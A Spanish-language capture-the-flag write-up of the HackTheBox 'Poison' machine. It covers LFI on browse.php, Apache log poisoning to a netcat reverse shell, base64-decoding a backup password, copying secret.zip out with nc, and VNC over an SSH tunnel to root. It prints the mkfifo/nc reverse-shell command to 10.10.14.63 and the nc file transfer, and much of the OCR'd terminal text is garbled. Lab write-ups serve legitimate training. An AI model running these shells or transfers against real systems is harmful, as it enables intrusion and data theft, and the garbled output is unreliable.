

1. Enumeración

Como siempre, consultamos el TTL que nos devuelve el comando Ping para hacernos una idea del sistema operativo que tiene la máquina víctima. Si es un sistema operativo Windows, Linux, etc. En este caso, parece que es una máquina Linux.

/home/parrot/HTB/poison) /) #	
└─ ping -c 1 10.10.10.84		
PING 10.10.10.84 (10.10.10.	84) 56(84)	bytes of data.
64 bytes from 10.10.10.84:	icmp_seq=1	ttl=63 time=40.9 ms

Hacemos un examen exhaustivo con Nmap y vemos que realmente estamos ante una máquina con un sistema operativo FreeBSD.



Revisamos si la versión de SSH tiene alguna vulnerabilidad. Tiene una forma de enumerar usuarios.



En esta máquina no nos va a aportar mucho, pero nos creamos un "one liner" que ejecute el exploit disponible, recorriendo un diccionario de usuarios.



Saltamos al puerto 80 y analizamos con "whatweb" las tecnologías usadas.

whatweb http://10.10.10.84 http://10.10.10.84 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.10.10.84], PHP[5.6.32], X-Powered-By[PHP/5.6.32]

Revisamos si existe algún exploit para la versión de Apache usada, pero la web no corre por SSL y no vemos ninguno interesante.

Exploit Title	
<pre>gaths + PHP < 5.1.12 / < 5.4.2 - cgi-bin Remote Code Execution paths + PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths + PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.4.2 - regitable Remote Code Execution paths = PHP < 5.1.12 / < 5.1.1</pre>	<pre>php/remote/20200.c php/remote/20200.c php/remote/20200.php links/icsi/Addors.php umix/remote/20201.c umix/remote/20200.c imix/remote/20200.c umix/remote/20200.c</pre>
helicodes: No Results; //incl.ny/in/.pr.18.18.18.19.20.2000	

Navegamos por la web con nuestro explorador web.

10.10.10.84/ ×	http://10.10.10.84/	× +
$\leftarrow \rightarrow C$	🔿 🔒 10.10.10.84	

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php Scriptname:

2. Análisis de vulnerabilidades

Comprobamos que la web es vulnerable a LFI, podemos ver el fichero /etc/passwd.

10.10.10.84/browse.php?file×	http://10.10.10.84/browse.pl× http://10.10.10.84/ × +
$\leftarrow \ \ \rightarrow \ \ \mathbf{G}$	A view-source:http://10.10.10.84/browse.php?file=%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2Fetc%2Fpasswd
<pre>1 # \$FreeBSD: releng/11.1/ 2 # 3 root:*:0:0:Charlie &:/ro 4 toor:*:0:0:Bourne-again 5 daemon:*:1:1:Owner of ma 6 operator:*:2:5:System 6:: 7 bin:*:3:7:Binaries Comma 8 tty:*:4:65533:Tty Sandbo 9 knem:*:5:65533:Tty Sandbo 10 games:*:7:13:Games pseud 11 news:*:8:8:News Subsyste 12 man:*:9:9:Mister Man Pag 13 sshd:*:2:2:2:Secure Shel 14 smmsp:*:25:25:Sendmail S 15 mailnull:*:26:26:Sendmail 19 _oflogd:*:64:64:pflogd p 20 _dhcp:*:65:65:0hcp Brog 21 uucp:*:66:66:UUCP pseud 22 pop:*:68:6:Post Office 0 23 audidistd:*:77:Audit 24 www:*:80:80:World Wide W 25 _ypldap:*:160:160:YP LDA 26 hast:*:845:B45:HAST unp 27 nobody:*:65534:65534:UNp 28 tss:*:661:601:TrouSerS 29 messagebus:*:556:556:0-B 30 avahi:*:58:558:Avahi D 31 cups:*:193:1093:Cups Owne 22 charix:*:1001:1001:chari 33</pre>	<pre>etc/master.passwd 299365 2016-05-10 12:47:36Z bcr \$ ot:/bin/csh Superuser:/root: ny system processes:/root:/usr/sbin/nologin nds and Source:/:/usr/sbin/nologin nds and Source:/:/usr/sbin/nologin nds and Source:/:/usr/sbin/nologin ouser:/:/usr/sbin/nologin es:/usr/sbin/nologin ouser://usr/sbin/nologin il Default User:/var/spool/clientmqueue:/usr/sbin/nologin lt Default User:/var/spool/clientmqueue:/usr/sbin/nologin nts:/iusr/sbin/nologin DNS Resolver:/var/unbound:/usr/sbin/nologin rivsep user:/nomexistent:/usr/sbin/nologin ams:/var/empty:/usr/sbin/nologin ams:/var/empty:/usr/sbin/nologin eb Owner:/nonexistent:/usr/sbin/nologin eb Owner:/nonexistent:/usr/sbin/nologin itstd unprivileged user:/var/empty:/usr/sbin/nologin buser:/var/empty:/usr/sbin/nologin buser:/var/empty:/usr/sbin/nologin buser:/var/empty:/usr/sbin/nologin buser:/anemyty.yusr/sbin/nologin buser:/anemytileged user:/var/empty:/usr/sbin/nologin buser:/anemytileged user:/var/sbin/nologin buser:/anemytileged user:/var/sbin/nologin citeseptice:/var/empty:/usr/sbin/nologin buser:/var/empty:/usr/sbin/nologin buser:/anemytileged user:/var/sbin/nologin buser:/anexistent:/usr/sbin/nologin buser:/anexistent</pre>

Por el nombre de la máquina, aunque hay otra forma de ganar acceso que podríamos usar, entendemos que nos debemos aprovechar de un "log poisoning". Revisamos si tenemos acceso al directorio de FreeBSD donde se guarda el fichero access.log de Apache. Efectivamente, tenemos capacidad de lectura.

10.10.10.84/browse.php?file×	eq:http://10.10.10.84/browse.pl x http://10.10.10.84/browse.pl x http://10.10.10.84/ x +
$\leftarrow \rightarrow \mathbf{G}$	A view-source:http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log
$\begin{array}{c} 1\\ 2 \ 192, 166, 253, 133 \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \$	Ary2018:18:33:25 +0100] "GET / HTTP/1.1" 200 289 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 18:13:28:50 +0100] "GET / HTTP/1.0" 200 289 '-" '-" 18:13:28:50 +0100] "GET / HTTP/1.0" 200 289 '-" '-" 18:13:28:50 +0100] "GET / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 18:13:28:50 +0100] "GET / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 18:13:28:50 +0100] "GET / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 18:13:28:50 +0100] "GET / MTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 18:13:28:24:00 +0200] "GET / MTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200] "GET / MTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200] "GET / MTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200] "FOPOHDU / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200] "FOPOHDU / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200] "FOPOHDUS / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200 "FOPOHDUS / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200 "FOPOHDUS / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200 "FOPOHDUS / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap Scripting Engine; https://mmap.org/book/nse.html)" 22:18:24:06 +0200 "FOPOHDUS / HTTP/1.1" 200 289 '-" 'Mozilla/5.0 (compatible; Mmap S

3. Explotación e intrusión.

Para aprovecharnos del "log poisoning" vamos a modificar nuestro "User Agent" para recoger la información añadida en la URL. Vamos a probar si podemos ejecutar un "id". Para trabajar más cómodamente, vamos a usar Burpsuite.



Comprobamos si el sistema tiene nc.



Codificamos la URL para que no nos de problemas.

Encode to URL-encoded format Simply enter your data then push the encode button.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f]/bin/sh -i 2>&1 nc 10.10.14.63 443 >/tmp/f
To encode binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 V Destination character set.
LF (Unix) V Destination newline separator.
Encode each line separately (useful for when you have multiple entries).
Split lines into 76 character wide chunks (useful for MIME).
Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-8 character set).
> ENCODE < Encodes your data into the area below.
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Fsh%20-i%20%3E%261%7Cnc%2010.10.14.63%20443%20%3E%2Ftmp%2Ff%7C%2Ff%7C%2Fbin%2Fsh%20-i%20%2Ftmp%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Fbin%2Ff%7C%2Ff%7C%2Fbin%2Ff%7C%2Ff%7C%2Fbin%2Ff%7C%7C%7C%7C%2Ff%7C%7C

Nos ponemos en escucha en nuestra máquina de atacante en el puerto 443 y ejecutamos.



Ganamos acceso.



4. Escalada de privilegios

Durante la fase de análisis de vulnerabilidades vimos que existía un usuario llamado charix cuando leímos el /etc/passwd. Intentamos acceder, pero no da error de privilegios. Listamos el directorio actual y vemos un fichero sospechoso llamado pwdbackup.txt. Lo revisamos y parece una contraseña que aun codificado en base64 13 veces.

\$ ls ^o =la /home/charix	
ls: /home/charix: Permission denied and lls? >	
total Opt:	
\$ ls e ila html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/3	
total 72 ^t -Language: en-US,en;q=0.5	
drwxr-xr-x $^{[-]}$ 2 $^{[-]}$ rööt $^{[-]}$ wheel $^{[-]}$ 512 $^{[-]}$ Mar 19 $^{-}$ 2018 .	
drwxr-xr-x 6 root wheel 512 Jan 24 2018	
-rw≏r⊐¤r⊈101°rootSowheel 33 Jan 24 2018 browse.php	
-rw-r⊈-rd= lsroote wheelst 289 Jan 24 2018 index.php	
-rw-rr 1 root wheel 27 Jan 24 2018 info.php	
-rw-rr 1 root wheel 33 Jan 24 2018 ini.php	
-rw-rr 1 root wheel 90 Jan 24 2018 listfiles.php	
-rw-rr 1 root wheel 20 Jan 24 2018 phpinfo.php	
-rw-rr 1 root wheel 1267 Mar 19 2018 pwdbackup.txt	
\$ cat pwdbackup.txt	
This password is secure, it's encoded atleast 13 times what could go wrong reall	у
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU	
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS	
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW	
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJ0SVRs	
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy	
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G	
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw	
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4Wkh0YVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa	
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k	
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk	
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0	
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVÉZT	
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3B0V0VaVFlrZG9hRlZz	
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW	
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRĺZTCmMxSkdjRFpO	
Ukd4RVdub3dPVU5uUFQwSwo=	
\$	

Nos creamos un "one liner" que de forma recursiva vaya decodificando esa contraseña.

/home/parrot/HTB/poison XINTER =
state=\$(<<<u>passwd</u>);for i in {1..13}; do state=\$(<<="\$state" base64 --decode); done; echo "\$state"
Charix!2#4%6&8(0</pre>

Clave: Charix!2#4%6&8(0

Accedemos a la máquina con las credenciales recientemente obtenidas. Revisamos el directorio del usuario charix y vemos un fichero llamado secret.zip.

drwxr-x+	2ocharixo	charix1	B512	Mar	19	2018	23:10 2022 🗅 Al
drwxr-xr-x	r Bohoot roof	wheel.6	K 512	Mar	19	2018	
-rw-r+	<pre>10charix0</pre>	charix2	1041	Mar	19	2018	6cshrc022 🗅 pa
-rw-rw-+	<pre>10charix0</pre>	charix2	B 0	Mar	19	2018	5history2 🗅 pa
-rw-r+	<pre>n1ocharixo</pre>	charix6	B254	Mar	19	2018	0login022 🗅 se
-rw-r+	<pre>10charix01</pre>	charix2	B163	Mar	19	2018	<pre>/login_conf ta</pre>
-rw-r	1 charix	charix	379	Mar	19	2018	.mail_aliases
⊤rw≁heme≁p a	<pre>charixp</pre>	charix	336	Mar	19	2018	.mailrc
-rwaraajaho	<u>1echarixi</u>	charix	802	Mar	19	2018	.profile
FEM-L-8-8-	r 1tcharix e	charixZI	281	Marc	19	2018	.rhostšen=8, d
sewrettete/	s 1ccharix ka	charix	2849	Mar	19	2018	• .shrc 0*14*7753
-rw-r	1 root	charix	166	Mar	19	2018	secret.zip
-rw/neme/pa	r1orootB/p	charix	33	Mar	19	2018	user.txt

Nos lo traemos a nuestra máquina atacante. El fichero estará protegido con contraseña.

charix@Poison:~/% ncp-w 2 10.10.14.63 443 < secret.zip charix@Poison:~ %

arrot/H1	ΓΒ/ poiso r	1 🔪 🖌 🗍	* <							
p 443 ≥	<u>secret.z</u>	<u>zip</u> 1								
arrot/H1	ΓΒ/ poiso r	1 🔪 🗸	> 7s	* (
rootha	rootchar	100 B	37 Thu	a0ct9	6209:3	8:51	2022			
parrot	parrot	12 B	33Wed	₀0ct9	5 18:2	0:22	2022			
rootha	rootchar	391 B	80Wed	a0ct9	5 18:2	3:10	2022	🗅 Al	lPort	S
rootha	rootchar	2.6 K	B Wed	a0ct9	5 18:4	2:27	2022	🕈 ex	ploit	. py
rootha	rootchar	1.2 K	B Wed	aOct9	5220:1	6:38	2022	🗅 pa	sswd	
rootoo	t root char	872 B	16Wed	aOct9	5 20:1	5:05	2022	🗅 pa	sswd.	1
root	t root char	166 B	3Thu	aOct9	6209:4	0:42	2022	🗈 se	cret.	zip
	arrot/H 0 443 > arrot/H root parrot root root root root root root	arrot/HTB/poisor 0 443 > <u>secret.z</u> arrot/HTB/poisor root root parrot parrot root root root root root root root root root root root root root root	arrot/HTB/poison 0 443 > <u>secret.zip</u> arrot/HTB/poison root root 100 B parrot parrot 12 B root root 391 B root root 391 B root root 2.6 K root root 1.2 K root root 872 B root root 166 B	arrot/HTB/poison / / p 443 > <u>secret.zip</u> arrot/HTB/poison / 7s root root 100 B Thu parrot parrot 12 B Wed root root 391 B Wed root root 2.6 KB Wed root root 1.2 KB Wed root root 872 B Wed root root 872 B Wed	<pre>arrot/HTB/poison / * p 443 > secret.zip arrot/HTB/poison / 7s root root 100 B Thu Oct parrot parrot 12 B Wed Oct root root 391 B Wed Oct root root 2.6 KB Wed Oct root root 1.2 KB Wed Oct root root 872 B Wed Oct root root 166 B Thu Oct</pre>	arrot/HTB/poison 0 443 > secret.zip 1 chartx chartx arrot/HTB/poison 75 1 chartx chartx 1 chartx chart	arrot/HTB/poison / 75 / 2018 arrot/HTB/poison / 75 / 2018 arrot/HTB/poison / 75 / 2018 arrot/HTB/poison / 75 / 2018 rootharroothar100 B37Thu Oct 6:09:38:51 parrot parrotar12 B3 Wed Oct 5:18:20:22 rootharroothar391 B3 Wed Oct 5:18:23:10 rootharroothar391 B3 Wed Oct 5:18:23:10 rootharroothar2.6 KB Wed Oct 5:18:42:27 rootharroothar2.6 KB Wed Oct 5:18:42:27 rootharroothar2.6 KB Wed Oct 5:20:16:38 rootharroothar872 B1 Wed Oct 5:20:15:05 rootharroothar816 B 3Thu Oct 6:09:40:42	arrot/HTB/poison / 2018 cshc p 443 > secret.zip 1041 Mar 19 2018 cshc 1 charix charix 0 Mar 19 2018 cshc arrot/HTB/poison / 7s 2018 conc rootharroothar 100 B37Thu 0ct 9 6 09:38:512022 parrot parrotar 12 B3 Wed 0ct 9 5 18:20:22 2022 rootharroothar 391 B3 Wed 0ct 9 5 18:23:10 2022 rootharroothar 391 B3 Wed 0ct 9 5 18:23:10 2022 rootharroothar 2.6 KB3 Wed 0ct 9 5 18:42:27 2022 rootharroothar 1.2 KB Wed 0ct 9 5 20:16:38 2022 rootharroothar 1.2 KB Wed 0ct 9 5 20:16:38 2022 rootharroothar 1.2 KB Wed 0ct 9 5 20:16:38 2022 rootharroothar 1.2 KB Wed 0ct 9 5 20:15:05 2022 rootharroothar 1.6 B 3Thu 0ct 9 6 09:40:42 2022	arrot/HTB/poison 0 443 > secret.zip 1 chartx chartx 1 chartx 1 chartx chartx 1 chartx	<pre>arrot/HTB/poison</pre>

Vamos a intentar romperlo con John para ver el contenido del fichero. Pero no lo conseguiremos.

C /ho	me/parrot/HTB/polson) /) /
ver 2.	0 secret.zip/secret PKZIP Encr: cmplen=20, decmplen=8, crc=77537827
C /ho cat	m <mark>e/parrot/HTB/polson > / > =</mark>
-rw-r -rw-r-	File: hash.txt narty 336 Mar 19 2018 .mallre
-rw1r-	secret.zip/secret:\$pkzip2\$1*1*2*0*14*8*77537827*0*24*0*14*7753*9827*8061b9caf8436874ad47a9481863b54443379d4c*\$/pkzip2\$:secret.zip::secret.zip
	· I CRAFUE CRAFUE 049 HAIF 19 2015 -SMFC
, Lugin	<pre>(home/parrot/HTB/poison / / / / / / / / / / / / / / / / / / /</pre>
Load	led-1-password hash (PKZIP [32/64]) 19 2018cshrc
Will	Frun-4 OpenMP threads ix 0 Mar 19 2018 .history
Pres	ss='q'=oriCtrl=C>tocabort, almostaanylother:keyofor status
0g 0 Sess):00:00:01 DONE (2022-10-06 09:45) 0g/s 8056Kp/s 8056Kc/s 8056KC/s !jonaluz28!*7;Vamos! sion-completed ix charix 379 Mar 19 2018 math aliases

Por tanto, vamos a ver si con la clave personal de charix podemos descomprimir el fichero.

<pre>/home/par</pre>	rot/HTB/ p	oison 🕨 🔉	0 1	
l+ wunzip- <u>sec</u>	<u>ret.zip</u> ×			
Archive:se	cretazip			
[secret.zip]	lsecret×p	assword:		
<pre>-extracting:</pre>	lsebret×			

Conseguimos una clave. Intentamos conectarnos por ssh como root y dicha clave, pero no funciona.

<pre>/home/parrot/HTB/poison</pre>			
— cat <u>secret</u> xxd			
00000000: bda8 5b7c d596 7a	21	[]	z!

Revisamos los puertos abiertos de la máquina víctima y vemos los puertos 5801 y 5901. Corresponden al servicio de VNC.

char	ix@Poiso	n:∻/%Tne	etstatn-na		
Acti	vė Inter	net con	nections (including ser	vers)	
Prot	o Recv-Q	Send-Q	Local7Address	Foreign Address	(state)
tcp4	0	0	10.10.10.84.22	10.10.14.63.49398	ESTABLISHED
tcp4	home/pa0	rot/HT O ,	127.0.0.1.25	* * * • • • • • • • • • • • • • • • • •	LISTEN
tcp4	pt-get 0	nstall0	t*g80vnc	*.*	LISTEN
tcp6	ndo lis0	a de p 0 0	q ≛∶80 s Hecho	*.*	LISTEN
tcp4	ndo árb 0	l de d 0	o ≿⊓22 ncias Hecho	*.*	LISTEN
tep6	ndo la 0	nforma@	i *⊓22 e estado Hecho	*.*	LISTEN
tcp4	o se haO	podidoO	l 127.0.0.1.5801 quete ti	g*i*nc	LISTEN
tcp4	0	0	127.0.0.1.5901	*.*	LISTEN
udp4	home/pa0	rot/HT 0 ,	/*:514n 🔿 🗙 100	* * * • • • • • • • • • • • • • • • • •	
udp6	0	0	*.514	* *	

Como son puertos solo accesibles desde el interior, vamos a realizar un "port fordwarding". Esta sería la sintaxis del comando.

\$ ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT [USER@]SSH_SERVER



Una vez establecido el túnel, intentamos conectarnos al servicio de VNC con la clave obtenida del fichero zip.



Ganamos acceso como root.

